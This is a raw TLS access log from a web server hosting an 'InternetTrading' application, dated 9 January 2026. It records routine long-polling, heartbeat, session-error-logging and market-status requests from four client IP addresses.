[09/Jan/2026:14:46:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941477376 HTTP/1.1" -
[09/Jan/2026:14:46:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941493152 HTTP/1.1" -
[09/Jan/2026:14:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941485922 HTTP/1.1" -
[09/Jan/2026:14:46:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941481570 HTTP/1.1" -
[09/Jan/2026:14:46:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941482421 HTTP/1.1" -
[09/Jan/2026:14:46:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941498205 HTTP/1.1" -
[09/Jan/2026:14:46:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941491029 HTTP/1.1" -
[09/Jan/2026:14:46:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941486635 HTTP/1.1" -
[09/Jan/2026:14:46:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941487470 HTTP/1.1" -
[09/Jan/2026:14:46:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941503235 HTTP/1.1" -
[09/Jan/2026:14:47:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941496059 HTTP/1.1" -
[09/Jan/2026:14:47:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941491798 HTTP/1.1" -
[09/Jan/2026:14:47:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941492497 HTTP/1.1" -
[09/Jan/2026:14:47:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941508301 HTTP/1.1" -
[09/Jan/2026:14:47:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941501131 HTTP/1.1" -
[09/Jan/2026:14:47:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941497537 HTTP/1.1" -
[09/Jan/2026:14:47:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941496992 HTTP/1.1" -
[09/Jan/2026:14:47:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941513357 HTTP/1.1" -
[09/Jan/2026:14:47:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941506240 HTTP/1.1" -
[09/Jan/2026:14:47:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941502558 HTTP/1.1" -
[09/Jan/2026:14:47:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941502268 HTTP/1.1" -
[09/Jan/2026:14:47:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941518385 HTTP/1.1" -
[09/Jan/2026:14:47:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941511311 HTTP/1.1" -
[09/Jan/2026:14:47:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941507579 HTTP/1.1" -
[09/Jan/2026:14:47:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941507391 HTTP/1.1" -
[09/Jan/2026:14:47:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941523449 HTTP/1.1" -
[09/Jan/2026:14:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941516345 HTTP/1.1" -
[09/Jan/2026:14:47:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941512604 HTTP/1.1" -
[09/Jan/2026:14:47:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941528502 HTTP/1.1" -
[09/Jan/2026:14:47:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941512507 HTTP/1.1" -
[09/Jan/2026:14:47:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941521465 HTTP/1.1" -
[09/Jan/2026:14:47:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941517647 HTTP/1.1" -
[09/Jan/2026:14:47:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941533531 HTTP/1.1" -
[09/Jan/2026:14:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941517552 HTTP/1.1" -
[09/Jan/2026:14:47:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941526501 HTTP/1.1" -
[09/Jan/2026:14:47:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941522674 HTTP/1.1" -
[09/Jan/2026:14:47:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941538598 HTTP/1.1" -
[09/Jan/2026:14:47:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941522670 HTTP/1.1" -
[09/Jan/2026:14:47:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941531580 HTTP/1.1" -
[09/Jan/2026:14:47:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941527733 HTTP/1.1" -
[09/Jan/2026:14:47:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941543668 HTTP/1.1" -
[09/Jan/2026:14:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941527815 HTTP/1.1" -
[09/Jan/2026:14:47:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941536677 HTTP/1.1" -
[09/Jan/2026:14:47:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941532770 HTTP/1.1" -
[09/Jan/2026:14:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941548725 HTTP/1.1" -
[09/Jan/2026:14:47:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941532946 HTTP/1.1" -
[09/Jan/2026:14:47:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941541749 HTTP/1.1" -
[09/Jan/2026:14:47:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941537804 HTTP/1.1" -
[09/Jan/2026:14:47:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941553791 HTTP/1.1" -
[09/Jan/2026:14:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941538145 HTTP/1.1" -
[09/Jan/2026:14:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941546784 HTTP/1.1" -
[09/Jan/2026:14:47:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:47:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941542849 HTTP/1.1" -
[09/Jan/2026:14:47:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:47:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:47:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941558870 HTTP/1.1" -
[09/Jan/2026:14:47:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941543277 HTTP/1.1" -
[09/Jan/2026:14:47:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
